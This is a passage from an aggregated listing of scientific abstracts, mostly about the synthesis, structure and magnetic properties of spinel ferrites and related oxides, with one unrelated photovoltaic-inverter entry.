were examined. The nanoparticles were also tested against four human pathogenic bacteria (Gram negative E.coli, P. aeruginosa, Gram positive S. aureus, S. pyogenus) and two fungi (C. albicans, A.niger). It was revealed that a nanoparticle has strong antibacterial activity as compared to antifungal. Further, Gram positive bacteria are more affected than Gram negative bacteria. It was also clear that different methods of coating have great influence on the antimicrobial properties. It was observed that these nanoparticles have significantly different but potentially very high antimicrobial activities against the tested organisms than found elsewhere by other nanoparticles on the same organisms. 16. Synthesis and magnetic properties of single phase titanomagnetites Energy Technology Data Exchange (ETDEWEB) Schoenthal, W., E-mail: [email protected]; Liu, X.; Cox, T.; Laughlin, D. E.; McHenry, M. E. [Materials Science and Engineering, Carnegie Mellon University, Pittsburgh, Pennsylvania 15213 (United States); Mesa, J. L.; Diaz-Michelena, M. [Instituto Nacional de Tecnica Aeroespacial, Madrid (Spain); Maicas, M. [Universidad Politecnica de Madrid, ISOM-ETSIT, Madrid (Spain) 2014-05-07 The focus of this paper is the study of cation distributions and resulting magnetizations in titanomagnetites (TMs), (1−x)Fe{sub 3}O{sub 4−x}Fe{sub 2}TiO{sub 4} solid solutions. TM remnant states are hypothesized to contribute to planetary magnetic field anomalies. This work correlates experimental data with proposed models for the TM pseudobinary. Improved synthesis procedures are reported for single phase Ulvöspinel (Fe{sub 2}TiO{sub 4}), and TM solid solutions were made using solid state synthesis techniques. X-ray diffraction and scanning electron microscopy show samples to be single phase solid solutions. M-H curves of TM75, 80, 85, 90, and 95 (TMX where X = at. % of ulvöspinel) were measured using a Physical Property Measurement System at 10 K, in fields of 0 to 8 T. The saturation magnetization was found to be close to that predicted by the Neel model for cation distribution in TMs. M-T curves of the remnant magnetization were measured from 10 K to 350 K. The remnant magnetization was acquired at 10 K by applying an 8 T field and then releasing the field. Experimental Neel temperatures are reported for samples in the Neel model ground state. 17. Method for thermal processing alumina-enriched spinel single crystals Science.gov (United States) Jantzen, Carol M. 1995-01-01 A process for age-hardening alumina-rich magnesium aluminum spinel to obtain the desired combination of characteristics of hardness, clarity, flexural strength and toughness comprises selection of the time-temperature pair for isothermal heating followed by quenching. The time-temperature pair is selected from the region wherein the precipitate groups have the characteristics sought. The single crystal spinel is isothermally heated and will, if heated long enough pass from its single phase through two pre-precipitates and two metastable precipitates to a stable secondary phase precipitate within the spinel matrix. Quenching is done slowly at first to avoid thermal shock, then rapidly. 18. Ab initio investigation of the thermodynamics of cation distribution and of the electronic and magnetic structures in the LiMn2O4 spinel Science.gov (United States) Santos-Carballal, David; Ngoepe, Phuti E.; de Leeuw, Nora H. 2018-02-01 The spinel-structured lithium manganese oxide (LiMn2O4 ) is a material currently used as cathode for secondary lithium-ion batteries, but whose properties are not yet fully understood. Here, we report a computational investigation of the inversion thermodynamics and electronic behavior of LiMn2O4 derived from spin-polarized density functional theory calculations with a Hubbard Hamiltonian and long-range dispersion corrections (DFT+U-D3). Based on the analysis of the configurational free energy, we have elucidated a partially inverse equilibrium cation distribution for the LiMn2O4 spinel. This equilibrium degree of inversion is rationalized in terms of the crystal field stabilization effects and the difference between the size of the cations. We compare the atomic charges with the oxidation numbers for each degree of inversion. We found segregation of the Mn charge once these ions occupy the tetrahedral and octahedral sites of the spinel. We have obtained the atomic projections of the electronic band structure and density of states, showing that the normal LiMn2O4 has half-metallic properties, while the fully inverse spinel is an insulator. This material is in the ferrimagnetic state for the inverse and partially inverse cation arrangement. The optimized lattice and oxygen parameters, as well as the equilibrium degree of inversion, are in agreement with the available experimental data. The partial equilibrium degree of inversion is important in the interpretation of the lithium ion migration and surface properties of the LiMn2O4 spinel. 19. Controlled cobalt doping in the spinel structure of magnetosome magnetite: New evidences from element- and site-specific XMCD analyses Science.gov (United States) Pan, Y.; LI, J.; Menguy, N.; Arrio, M. A.; Sainctavit, P.; Juhin, A.; Wang, Y.; Chen, H.; Bunau, O.; Otero, E.; Ohresser, P. 2016-12-01 Controlled cobalt doping in the spinel structure of magnetosome magnetite: New evidences from element- and site-specific XMCD analyses Jinhua Li1,2, Nicolas Menguy2,3, Marie-Anne Arrio3, Philippe Sainctavit3,4, Amélie Juhin3, Yinzhao Wang1,2, Haitao Chen5, Oana Bunau3, Edwige Otero4, Philippe Ohresser4, Yongxin Pan1,21Key Laboratory of Earth and Planetary Physics, Institute of Geology and Geophysics, Chinese Academy of Sciences, Beijing 100029, China. 2France-China Biomineralization and Nano-structures Laboratory, Chinese Academy of Sciences, Beijing 100029, China. 3IMPMC, CNRS UMR 7590, Sorbonne Universités, MNHN, UPMC, IRD UMR 206, 75005 Paris, France. 4Synchrotron SOLEIL, L'Orme des Merisiers Saint-Aubin, 91192 Gif-sur-Yvette Cedex, France. 5Institute of Deep-Sea Science and Engineering, Chinese Academy of Sciences, Sanya 572000, China To whom correspondence may be addressed. Email: [email protected] biomineralization of magnetite nanocrystals (called magnetosomes) by magnetotactic bacteria (MTB) has attracted intense interest in biology, geology and materials science. Great efforts have been recently made in producing transition metal-doped magnetosomes with modified magnetic properties for a range of applications. However, the coordination chemistry and magnetism of such metal-doped magnetosomes still remains largely unknown. Here, we present new evidences from X-ray magnetic circular dichroism (XMCD) for element- and site-specific magnetic analyses that cobalt is incorporated in the spinel structure of the magnetosomes within Magnetospirillum magneticum AMB-1 through the replacement of Fe2+ ions by Co2+ ions in octahedral (Oh) sites of magnetite. Compared with non-doped one, cobalt-doped magnetosome sample has lower Verwey transition temperature and larger magnetic coercivity, related to the amount of doped cobalt. This study this study indicates a biologically controlled process on cobalt doping and magnetic alteration by MTB system 20. The first find of spinel peridotite in the Southern Kazakhstan: Structure, composition, and parameters of high-pressure metamorphism Science.gov (United States) Pilitsyna, A. V.; Tretyakov, A. A.; Alifirova, T. A.; Degtyarev, K. E.; Kovalchuk, E. V. 2017-09-01 Spinel peridotite, metamorphosed in high-pressure conditions, was first described within the Western part of the Central Asian Orogenic Belt. The spinel peridotite has the characteristics of Mg-Cr ultramafites indicating the mantle origin of its protolith. The preliminary estimation of the metamorphism peak for the model system MgO-Al2O3—SiO2-Cr2O3 (MASCr) is 10-19 kbar at 680-800°C. 1. Structure and magnetism in the bond-frustrated spinel ZnC r2S e4 Science.gov (United States) Zajdel, P.; Li, W.-Y.; van Beek, W.; Lappas, A.; Ziolkowska, A.; Jaskiewicz, S.; Stock, C.; Green, M. A. 2017-04-01 The crystal and magnetic structures of stoichiometric ZnC r2S e4 have been investigated using synchrotron x-ray and neutron powder diffraction, muon spin relaxation (μ SR ), and inelastic neutron scattering. Synchrotron x-ray diffraction shows a spin-lattice distortion from the cubic F d 3 ¯m spinel to a tetragonal I 41/a m d lattice below TN=21 K , where powder neutron diffraction confirms the formation of a helical magnetic structure with magnetic moment of 3.04 (3 ) μB at 1.5 K, close to that expected for high-spin C r3 + . μ SR measurements show prominent local spin correlations that are established at temperatures considerably higher (100 μ s-1) muon relaxation rates are suggestive of rapid site hopping of the muons in static field. Inelastic neutron scattering measurements show a gapless mode at an incommensurate propagation vector of k =[0 0 0.4648 (2 )] in the low-temperature magnetic ordered phase that extends to 0.8 meV. The dispersion is modeled by a two-parameter Hamiltonian, containing ferromagnetic nearest-neighbor and antiferromagnetic next-nearest-neighbor interactions with a Jn n n/Jn n=-0.337 . 2. Neutron structural characterization, inversion degree and transport properties of NiMn{sub 2}O{sub 4} spinel prepared by the hydroxide route Energy Technology Data Exchange (ETDEWEB) Sagua, A.; Lescano, Gabriela M. [Departamento de Química, Laboratorio de Fisicoquímica Inorgánica, Universidad Nacional del Sur, INQUISUR, 8000 Bahía Blanca (Argentina); Alonso, J.A., E-mail: [email protected] [Instituto de Ciencia de Materiales de Madrid, C.S.I.C., Cantoblanco, E-28049 Madrid (Spain); Martínez-Coronado, R. [Instituto de Ciencia de Materiales de Madrid, C.S.I.C., Cantoblanco, E-28049 Madrid (Spain); Fernández-Díaz, M.T. [Institut Laue Langevin, BP 156X, Grenoble F-38042 (France); Morán, E. [Departamento de Química Inorgánica, Facultad de Ciencias Químicas, Universidad Complutense, 28040 Madrid (Spain) 2012-06-15 Graphical abstract: A pure specimen has been synthesized by the hydroxide route. This spinel, studied by NPD, shows an important inversion degree, λ = 0.80. A bond-valence study shows that the tetrahedral Mn ions are divalent whereas the octahedral Mn and Ni are slightly oxidized from the expected 3+ and 2+ values, respectively. The mixed valence Mn{sup 3+}/Mn{sup 4+} accounts for a hopping mechanism between adjacent octahedral sites, leading to a significant conductivity. Highlights: ► A low-temperature hydroxide route allowed preparing almost pure specimens of NiMn{sub 2}O{sub 4}. ► NPD essential to determine inversion degree; contrasting Ni and Mn for neutrons. ► Bond valence establishes valence state of octahedral and tetrahedral Ni and Mn ions. ► Thermal analysis, transport measurements complement characterization of this oxide. ► A structure–properties relationship is established. -- Abstract: The title compound has been synthesized by the hydroxide route. The crystal structure has been investigated at room temperature from high-resolution neutron powder diffraction (NPD) data. It crystallizes in a cubic spinel structure, space group Fd3{sup ¯}m, Z = 8, with a = 8.3940(2) Å at 295 K. The crystallographic formula is (Ni{sub 0.202(1)}Mn{sub 0.798(1)}){sub 8a}(Ni{sub 0.790(1)}Mn{sub 1.210(1)}){sub 16d}O{sub 4} where 8a and 16d stand for the tetrahedral and octahedral sites of the spinel structure, respectively. There is a significant inversion degree of the spinel structure, λ = 0.80. In fact, the variable parameter for the oxygen position, u = 0.2636(4), is far from that expected (u = 0.25) for normal spinels. From a bond-valence study, it seems that the valence distribution in NiMn{sub 2}O{sub 4} spinel is not as trivial as expected (Ni{sup 2+} and Mn{sup 3+}), but clearly the tetrahedral Mn ions are divalent whereas the octahedral Mn and Ni are slightly oxidized from the expected +3 and +2 values, respectively. The mixed valence observed at 3. Re-creation of single phase, and improvement of magnetic property of CoFe2O4 nanoparticles versus heat treatment Science.gov (United States) Tran, N.; Kim, D. H.; Phan, T. L.; Dang, N. T.; Bach, T. N.; Manh, D. H.; Lee, B. W. 2018-03-01 Our studies on the crystal characterization and magnetic property of CoFe2O4 nanoparticles (NPs) point out their instability in a specific temperature range. While as-prepared NPs exhibit single phase in a cubic spinel structure, annealing at temperatures T=673-1273 K leads to the development of an impurity phase of Fe2O3. Interestingly, annealing at higher temperatures re-creates the single phase of NPs. This strongly influences their magnetic property. The magnetic inhomogeneity and/or multiple phase exist in as-prepared NPs and in those annealed below 1273 K, better magnetic property is found in the samples with annealing temperature (Tan) higher than 1273 K. Ferromagnetic-paramagnetic phase transition temperatures of these samples are located around 815-850 K, and are less dependent on Tan. At room temperature, their saturation magnetization is located in the range of 41-55 emu/g, while the coercivity can be changed from 600 to 3200 Oe. These results are related to microstructures, structural phases, and exchange interactions between Fe and Co ions situated in the A and B sites of the spinel structure, which are modified by heat treatment. 4. Rietveld structure refinement and elastic properties of MgAlxCrxFe2-2xO4 spinel ferrites Science.gov (United States) Thummer, K. P.; Tanna, Ashish R.; Joshi, Hiren H. 2017-05-01 MgAlxCrxFe2-2xO4 (x = 0.1, 03 & 0.6) ferrites are synthesized by solid state reaction method. The Rietveld refinement of X-ray diffraction (XRD) data confirms the cubic spinel structure with Fd3m space group. The Fourier Transform Infrared Transmission Spectroscopy (FTIR) is employed to study elastic properties of present systems at 300K. The force constants for tetrahedral (A) and octahedral (B) sites of the spinel lattice are determined by infrared spectral and X-ray diffraction analysis. The elastic constants like bulk modulus, rigidity modulus, Young's modulus, Poisson's ratio and Debye temperature are determined. The vibrational frequency of both the interstitial sites increases as Al-Cr content increases hence the force constant and elastic moduli for all the samples are found to increase for the present ferrite system. 5. Cationic exchange in nanosized ZnFe2O4 spinel revealed by experimental and simulated near-edge absorption structure International Nuclear Information System (INIS) Stewart, S. J.; Figueroa, S. J. A.; Ramallo Lopez, J. M.; Requejo, F. G.; Marchetti, S. G.; Bengoa, J. F.; Prado, R. J. 2007-01-01 The nonequilibrium cation site occupancy in nanosized zinc ferrites (∼6-13 nm) with different degree of inversion (∼0.2 to 0.4) was investigated using Fe and Zn K-edge x-ray absorption near edge spectroscopy (XANES) and extended x-ray absorption fine structure, and magnetic measurements. The very good agreement between experimental and ab initio calculations on the Zn K-edge XANES region clearly shows the large Zn 2+ (A)→Zn 2+ [B] transference that takes place in addition to the well-identified Fe 3+ [B]→Fe 3+ (A) one, without altering the long-range structural order. XANES spectra features as a function of the spinel inversion were shown to depend on the configuration of the ligand shells surrounding the absorbing atom. This XANES approach provides a direct way to sense cationic inversion in these Zn-containing spinel ferrites. We also demonstrated that a mechanical crystallization takes place on nanocrystalline spinel that causes an increase of both grain and magnetic sizes and, simultaneously, generates a significant augment of the inversion 6. Towards a lattice-matching solid-state battery: synthesis of a new class of lithium-ion conductors with the spinel structure. Science.gov (United States) Rosciano, Fabio; Pescarmona, Paolo P; Houthoofd, Kristof; Persoons, Andre; Bottke, Patrick; Wilkening, Martin 2013-04-28 Lithium ion batteries have conquered most of the portable electronics market and are now on the verge of deployment in large scale applications. To be competitive in the automotive and stationary sectors, however, they must be improved in the fields of safety and energy density (W h L(-1)). Solid-state batteries with a ceramic electrolyte offer the necessary advantages to significantly improve the current state-of-the-art technology. The major limit towards realizing a practical solid-state lithium-ion battery lies in the lack of viable ceramic ionic conductors. Only a few candidate materials are available, each carrying a difficult balance between advantages and drawbacks. Here we introduce a new class of possible solid-state lithium-ion conductors with the spinel structure. Such compounds could be coupled with spinel-type electrode materials to obtain a "lattice matching" solid device where low interfacial resistance could be achieved. Powders were prepared by wet chemistry, their structure was studied by means of diffraction techniques and magic angle spinning NMR, and Li(+) self-diffusion was estimated by static NMR line shape measurements. Profound differences in the Li(+) diffusion properties were observed depending on the composition, lithium content and cationic distribution. Local Li(+) hopping in the spinel materials is accompanied by a low activation energy of circa 0.35 eV being comparable with that of, e.g., LLZO-type garnets, which represent the current benchmark in this field. We propose these novel materials as a building block for a lattice-matching all-spinel solid-state battery with low interfacial resistance. 7. Structural properties of Cd–Co ferrites , 0·95 and 1·0), were prepared by standard ceramic method and characterized by XRD, IR and SEM techniques. X-ray analysis confirms the formation of single phase cubic spinel structure. Lattice constant and grain size of the samples ... 8. The influence of Ga doping on structural magnetic and dielectric properties of NiCr0.2Fe1.8O4 spinel ferrite Science.gov (United States) Ajmal, Muhammad; Islam, M. U.; Ashraf, Ghulam Abbas; Nazir, Muhammad Aamir; Ghouri, M. I. 2017-12-01 A series of spinel ferrites NiCr0.2GaxFe1.8-xO4 (x=0.00, 0.002, 0.04, 0.06, 0.08) was prepared by co precipitation technique. The influence of rare earth element Ga ions the structural dielectric and magnetic properties of NiCr0.2Fe1.8O4 ferrites was investigated. The X-ray diffraction confirmed the phase precipitated out was pure spinel phase with few traces of secondary phases. The crystallite size decreases and density increases with the increases of Ga contents. The magnetic moment, saturation magnetization and remanent magnetization increased with addition of Ga ions in spinel ferrite. The dielectric constant is described that it decreases more suddenly at low frequencies as compare at higher frequencies. The decrease in dielectric loss with frequency follows Deby's relaxation phenomena. Both the variation in tan loss and dielectric loss with frequency shows a similar. AC conductivity increases with the increases of frequency which inversely proportional to concentration of Ga3+ ions follows Jonscher law. These Gallium Chromium doped nickel ferrites are very helpful for high frequency switching devices. 9. Atomic Structure of a Spinel-like Transition Al2O3 (100) Surface DEFF Research Database (Denmark) Jensen, Thomas Nørregaard; Meinander, Kristoffer; Helveg, Stig 2014-01-01 We study a crystalline epitaxial alumina thin film with the characteristics of a spinel-type transition Al2O3(100) surface by using atom-resolved noncontact atomic force microscopy and density functional theory. It is shown that the films are terminated by an Al-O layer rich in Al vacancies... 10. Structural and magnetic properties of Li-Cu mixed spinel ferrites Science.gov (United States) Manjura Hoque, S.; Samir Ullah, M.; Khan, F. A.; Hakim, M. A.; Saha, D. K. 2011-04-01 Li0.5-x/2CuxFe2.5-x/2O4 (where x=0.0-1.0) ferrites have been prepared by solid-state reaction. X-ray diffraction was used to study the structure of the above investigated ferrites at various sintering temperatures. Samples were sintered at 1000, 1100 and 1200 °C for 3 h in the atmosphere. For the sintering temperature of 1000 °C, Li0.5-x/2CuxFe2.5-x/2O4 undergoes cubic to tetragonal transformation for higher Cu content. However, for the sintering temperature of 1100 and 1200 °C, X-ray diffraction patterns are mainly characterized by fcc structure, though presence of tetragonal distortion was found by other temperature dependence of initial permeability curves. The lattice parameter, X-ray density and bulk density were calculated for different compositions. Curie temperature was measured from the temperature dependence of initial permeability curves. Curie temperatures of Li-Cu mixed ferrites were found to decrease with the increase in Cu2+ content due to the reduction of A-B interaction. As mentioned earlier, temperature dependence of initial permeability curves was characterized by tetragonal deformation for the samples containing higher at% of Cu. The complex initial permeability has been studied for different samples. The B-H loops were measured at constant frequency, f=1200 Hz, at room temperature (298 K). Coercivity and hysteresis loss were estimated for different Cu contents. 11. Order-disorder transitions of t2g-orbitals of V3+ ions and incommensurate structural deformations in the metallic spinel CuV2S4 International Nuclear Information System (INIS) Hidaka, M.; Tokiwa, N.; Wijesundera, R.P.; Awaka, J.; Nagata, S.; Park, Young Jun; Lee, Ki Bong 2007-01-01 Structural transitions of the spinel CuV 2 S 4 have been studied by means of X-ray diffraction using synchrotron radiation. The temperature dependence of reflections forbidden in a cubic spinel structure of Fd3m suggests that there are order-disorder transitions of 3d 2 (t 2g ) orbitals of V 3+ ions at about 75 and 210 K. An incommensurate superlattice reflection of (2+3/4,2,2+3/4) shows the structural phase transition occurring at about 90 K, in addition to the superlattice structural modulation at about 30-35 and 55 K. A reduced wavevector q=(3/4-δ,0,3/4-δ) shows the temperature dependence of the δ value from 0.015 to -0.025. A lock-in of δ=0.0 and a crossover of the δ value occur in the region of 40 to 50 K. The incommensurate structural modulation along [110], [011], and [101] directions appearing below about 90 K affects a paramagnetic spin order of V 3+ ions at about 30-35 and 55 K, in addition to the 90 K structural transition. The paramagnetic behavior is interpreted mainly by the structural deformation and the (d xy ,d yz ,d zx ) orbitals in the VS 6 octahedral chains sited along [110], [011], and [101] directions. (copyright 2007 WILEY-VCH Verlag GmbH and Co. KGaA, Weinheim) (orig.) 12. Structural stability of ZnAl{sub 2}O{sub 4} spinel irradiated by low energy particles Energy Technology Data Exchange (ETDEWEB) Baldinozzi, Gianguido [Laboratoire Structures, Proprietes et Modelisation des Solides, CNRS - Ecole Centrale Paris, 92295 Chatenay - Malabry (France)]. E-mail: [email protected]; Simeone, David [DEN/DMN/SRMA/LA2M, CEA, CE Saclay, 91191 Gif-sur-Yvette (France); Gosset, Dominique [DEN/DMN/SRMA/LA2M, CEA, CE Saclay, 91191 Gif-sur-Yvette (France); Dolle, Mickael [DEN/DMN/SRMA/LA2M, CEA, CE Saclay, 91191 Gif-sur-Yvette (France); Thome, Lionel [CSNSM, CNRS - Universite d' Orsay, 91405 Orsay (France); Mazerolles, Leo [CECM, CNRS, 94407 Vitry-sur-Seine (France) 2006-09-15 It is now well known that irradiation of metals and alloys can drive materials into complex configurations. Several examples, like the occurrence of order-disorder phase transitions driven by irradiation, are discussed by many authors. To understand the behavior of ceramics under irradiation, several spinels were irradiated. In this paper, experimental results on the irradiation of ZnAl{sub 2}O{sub 4} by low-energy particles (4 MeV Au{sup 2+} ions) are presented. An order-disorder phase transition is observed. The unusual behavior of this spinel under irradiation is discussed within the framework of Martin's theory of driven alloys under irradiation. 13. Control of Single-Stage Single-Phase PV inverter DEFF Research Database (Denmark) Ciobotaru, Mihai; Teodorescu, Remus; Blaabjerg, Frede 2005-01-01 In this paper the issue of control strategies for single-stage photovoltaic (PV) inverter is addressed. Two different current controllers have been implemented and an experimental comparison between them has been made. A complete control structure for the single-phase PV system is also presented... 14. Transformation of hexagonal to mixed spinel crystal structure and magnetic properties of Co{sup 2+} substituted BaFe{sub 12}O{sub 19} Energy Technology Data Exchange (ETDEWEB) Chavan, Varsha C. [Department of Physics, Yashawantrao Chavan Mahavidyalaya, Tuljapur, MS (India); Shirsath, Sagar E. [Department of Physics, Vivekanand College, Aurangabad 431001, MS (India); Mane, Maheshkumar L., E-mail: [email protected] [Department of Physics, S. G. R. G. Shinde Mahavidyalaya, Paranda 413502, MS (India); Kadam, R.H. [Materials Research Laboratory, Shrikrishna Mahavidyalaya, Gunjoti 413613, MS (India); More, Surendra S. [Department of Physics, Yashawantrao Chavan Mahavidyalaya, Tuljapur, MS (India) 2016-01-15 M-type barium hexaferrites Ba{sub 1−x}Co{sub x}Fe{sub 12}O{sub 19} (x=0.0–1.00 with steps of 0.25) were synthesized by sol–gel autocombination method and were post-annealed at relatively low temperature at 600 °C. The samples were characterized by X-ray diffraction, scanning electron microscopy, infrared spectroscopy and vibrating sample magnetometry. Crystal transformed from pure Ba-hexaferrite to spinel with Co{sup 2+} substitution. Results of scanning electron microscope show that the grains are regular and well-defined structured. Infrared spectra support the nature and crystal symmetry that obtained from X-ray diffraction pattern study. Magnetization results show that saturation magnetization and magneton number decreased whereas coercivity increased for x>0.50 Co{sup 2+} doping. - Highlights: • Co{sup 2+} substituted Ba hexaferrites. • Crystal structural transformation from hexagonal to cubic spinel. • Decrease in saturation magnetization and increase in coercivity with Co{sup 2+} substitution. 15. Impact of Nd3+ in CoFe2O4 spinel ferrite nanoparticles on cation distribution, structural and magnetic properties Science.gov (United States) Yadav, Raghvendra Singh; Havlica, Jaromir; Masilko, Jiri; Kalina, Lukas; Wasserbauer, Jaromir; Hajdúchová, Miroslava; Enev, Vojtěch; Kuřitka, Ivo; Kožáková, Zuzana 2016-02-01 Nd3+ doped cobalt ferrite nanoparticles have been synthesized by starch-assisted sol-gel auto-combustion method. The significant role played by Nd3+ added to cobalt ferrite in changing cation distribution and further in influencing structural and magnetic properties, was explored and reported. The crystal structure formation and crystallite size were studied from X-ray diffraction studies. The microstructural features were investigated by field emission scanning electron microscopy and transmission electron microscopy that demonstrates the nanocrystalline grain formation with spherical morphology. An infrared spectroscopy study shows the presence of two absorption bands related to tetrahedral and octahedral group complexes within the spinel ferrite lattice system. The change in Raman modes in synthesized ferrite system were observed with Nd3+ substitution, particle size and cation redistribution. The impact of Nd3+ on cation distribution of Co2+ and Fe3+ at octahedral and tetrahedral sites in spinel ferrite cobalt ferrite nanoparticles was investigated by X-ray photoelectron spectroscopy. Room temperature magnetization measurements showed that the saturation magnetization and coercivity increase with addition of Nd3+ substitution in cobalt ferrite. 16. Structural Rietveld refinement and vibrational study of MgCr{sub x}Fe{sub 2−x}O{sub 4} spinel ferrites Energy Technology Data Exchange (ETDEWEB) Sabri, K. [Laboratoire des Sciences et technique de l’Environnement et de la Valorisation, département de Génie des Procédés, Université de Mostaganem, Mostaganem (Algeria); Rais, A., E-mail: [email protected] [Laboratoire des Sciences et technique de l’Environnement et de la Valorisation, département de Génie des Procédés, Université de Mostaganem, Mostaganem (Algeria); Taibi, K. [Laboratoire de Science et Génie des Matériaux, USTHB, Alger, Algéria (Algeria); Moreau, M.; Ouddane, B. [Laboratory of LASIR Spectrochemistry, University of Science and Technology, 59650 Villeneuve d’Ascq (France); Addou, A. [Laboratoire des Sciences et technique de l’Environnement et de la Valorisation, département de Génie des Procédés, Université de Mostaganem, Mostaganem (Algeria) 2016-11-15 Spinel ferrites with the general formula MgCr{sub x}Fe{sub 2−x}O{sub 4} (0≤x≤1) were synthesized by the standard ceramic technique and characterized by X-ray diffraction. The XRD patterns confirmed that the mixed ferrite samples are in the cubic spinel structure which is further validated by Rietveld refinement in the space group Fd3m. The crystal structure and cell parameters were refined by Rietveld analysis. The vibrational study was achieved using Fourier Transform-InfraRed (FT-IR) and Raman spectroscopy. From FT-IR band frequencies, the force constants K{sub t} and K{sub o} , for tetrahedral (A) and octahedral (B) sites respectively, have been calculated and discussed with the trend of bond lengths obtained from Rietveld refinement. For all compositions, Raman spectra revealed the five active modes showing the vibration of O{sup 2−} ions at both the A-site and B-site ions. The frequencies trend with chromium content of both FT-IR and Raman spectra showed a shift toward higher values for all modes. 17. Structure and morphology of spinel MFe2O4 (M=Fe, Co, Ni) nanoparticles chemically synthesized from heterometallic complexes. Science.gov (United States) Naidek, Karine Priscila; Bianconi, Flavia; da Rocha, Tulio Costa Rizuti; Zanchet, Daniela; Bonacin, Juliano Alves; Novak, Miguel Alexandre; Vaz, Maria das Graças Fialho; Winnischofer, Herbert 2011-06-01 We synthesized magnetic spinel ferrites from trimetallic single-source precursors. Fe(II), Co(II), and Ni(II) ferrite nanoparticles in the range of 9-25 nm were synthesized by solvothermal decomposition of trimetallic acetate complex precursors in benzyl ether in the presence of oleic acid and oleylamine, using 1,2-dodecanediol as the reducing agent. For comparison, spinel ferrite nanoparticles were synthesized by stoichiometric mixtures of metal acetate or acetylacetonate salts. The nanoparticles (NP) were characterized by TEM, DLS, powder XRD, and Raman spectroscopy; and their magnetic properties were characterized by ZFC-FC and M(H) measurements. The ferrite-NP were more homogeneous and had a narrower size distribution when trimetallic complexes were used as precursors. As a consequence, the magnetic properties of these ferrite-NP are closer to the aimed room temperature superparamagnetic behavior, than are those of other ferrites obtained by a mixture of salts. Copyright © 2011 Elsevier Inc. All rights reserved. 18. Structure of Co–Zn ferrite ferrofluid: A small angle neutron scattering A hydrothermal synthesis route is used to synthesize nanomagnetic particles of Co0.3Zn0.7Fe2O4 ferrite ferrofluids with particle diameter ranging from 5.5–9 nm. XRD analysis shows the formation of a single phase spinel structure. EDX results confirm the stoichiometric composition of the cations. Small angle neutron ... 19. Structure, morphology and optical-luminescence investigations of spinel ZnGa2O4 ceramics co-doped with Mn2+ and Eu3+ ions Science.gov (United States) Kravets, O.; Zaremba, O.; Shpotyuk, Ya.; Luchechko, A.; Szmuc, K.; Cebulski, J.; Ingram, A.; Shpotyuk, O. 2018-02-01 The polycrystalline zinc gallate ZnGa2O4: Mn2+ and ZnGa2O4: Mn2+, Eu3+ samples have been synthesized via high-temperature solid-state reaction ceramic technique. The obtained ceramics have been characterized employing the methods of X-ray diffraction analysis, transmission electron microscopy, energy-dispersive X-ray spectroscopy, positron annihilation lifetime spectroscopy and optical-luminescent spectroscopy. The XRD analysis testified in favor of successful formation of spinel structure in the prepared samples with small amount of additional phase observed in the ZnGa2O4: Mn2+, Eu3+ ceramics. The grains of irregular shape with a homogeneous distribution of Eu3+ ions in a volume were identified with TEM technique. The band gap of ZnGa2O4: Mn2+ spinel was estimated from optical absorption spectra in UV-Vis range. The characteristic bands related to electronic transitions of Mn2+ and Eu3+ ions were found in optical absorption and excitation spectra. The photoluminescence emission spectra exhibited matrix luminescence along with emission band of Mn2+ ions and narrow lines of Eu3+ ions in blue, green and red spectral region, respectively. The intensity ratio of Eu3+ emission lines confirms the high asymmetry around Eu3+ ions. These findings correlate well with results of positron annihilation lifetime spectroscopy showing intense reduction of positron trapping rate deeply in ceramics grains due to Eu3+ ions penetration. 20. Study of structural phase transformation and hysteresis behavior of inverse-spinel α-ferrite nanoparticles synthesized by co-precipitation method Directory of Open Access Journals (Sweden) 2018-03-01 Full Text Available Substitution of cobalt (Co2+ ions in cobalt ferrite (CoFe2O4 with copper (Cu2+ and aluminum (Al3+ ions allows variations in their electric and magnetic properties which can be optimized for specific applications. In this article, synthesis of inverse-spinel Co1−xCuxFe2−xAlxO4 (0.0 ≤ x ≤ 0.8 nanoparticles by substituting Cu2+ and Al3+ ions in CoFe2O4 via co-precipitation method is reported. By controlling copper and aluminum (Cu-Al substituent ratio, the magnetic moment and coercivity of synthesized cobalt ferrite nanoparticles is optimized. The role of substituents on the structure, particle size, morphology, and magnetic properties of nano-crystalline ferrite is investigated. The Co1−xCuxFe2−xAlxO4 (0.0 ≤ x≤ 0.8 nanoparticles with crystallite size in the range of 23.1–26.5 nm are observed, 26.5 nm for x = 0.0–23.1 nm for x = 0.8. The inverse-spinel structure of synthesized Co1−xCuxFe2−xAlxO4 (0.0 ≤ x ≤ 0.8 nano-particles is confirmed by characteristic vibrational bands at tetrahedral and octahedral sites using Fourier transform infrared spectroscopy. A decreases in coercive field and magnetic moment is observed as Cu-Al contents are increased (x = 0.0–0.8. The positive anisotropy of synthesized particles Co1−xCuxFe2−xAlxO4 (0.0 ≤ x ≤ 0.8 is obtained in the range 1.96 × 105 J/m3 for x = 0.0 to 0.29 × 105 J/m3 for x = 0.8. Keywords: Co-precipitation method, XRD, Spinel ferrites, VSM, TEM 1. Structural characterization and magnetic properties of the spinel compound CoIn0.5Cr1.5S4 International Nuclear Information System (INIS) Delgado, G.E.; Sagredo, V.; Bolzoni, F. 2008-01-01 Single crystals of the magnetic semiconductor CoIn 0.5 Cr 1.5 S 4 , belong to the system CoIn (2-2X) Cr (2X) S 4 with x=0.75, was grown by the chemical transport method. X-ray powder diffraction characterization by the Rietveld method indicated that CoIn 0.5 Cr 1.5 S 4 crystallizes in the space group Fd-3m, Z=8, with a=10.0700(6) A and V=1021.2(1) A 3 , in a normal spinel structure. The temperature dependence of the DC magnetization suggests that the studied compound presents a ferromagnetic behavior with a Curie temperature T c =220 K. Sharp spin-glass like behavior was found also. (copyright 2008 WILEY-VCH Verlag GmbH and Co. KGaA, Weinheim) (orig.) 2. Controlled cobalt doping in the spinel structure of magnetosome magnetite: new evidences from element- and site-specific X-ray magnetic circular dichroism analyses. Science.gov (United States) Li, Jinhua; Menguy, Nicolas; Arrio, Marie-Anne; Sainctavit, Philippe; Juhin, Amélie; Wang, Yinzhao; Chen, Haitao; Bunau, Oana; Otero, Edwige; Ohresser, Philippe; Pan, Yongxin 2016-08-01 The biomineralization of magnetite nanocrystals (called magnetosomes) by magnetotactic bacteria (MTB) has attracted intense interest in biology, geology and materials science due to the precise morphology of the particles, the chain-like assembly and their unique magnetic properties. Great efforts have been recently made in producing transition metal-doped magnetosomes with modified magnetic properties for a range of applications. Despite some successful outcomes, the coordination chemistry and magnetism of such metal-doped magnetosomes still remain largely unknown. Here, we present new evidences from X-ray magnetic circular dichroism (XMCD) for element- and site-specific magnetic analyses that cobalt is incorporated in the spinel structure of the magnetosomes within Magnetospirillum magneticum AMB-1 through the replacement of Fe(2+) ions by Co(2+) ions in octahedral (Oh) 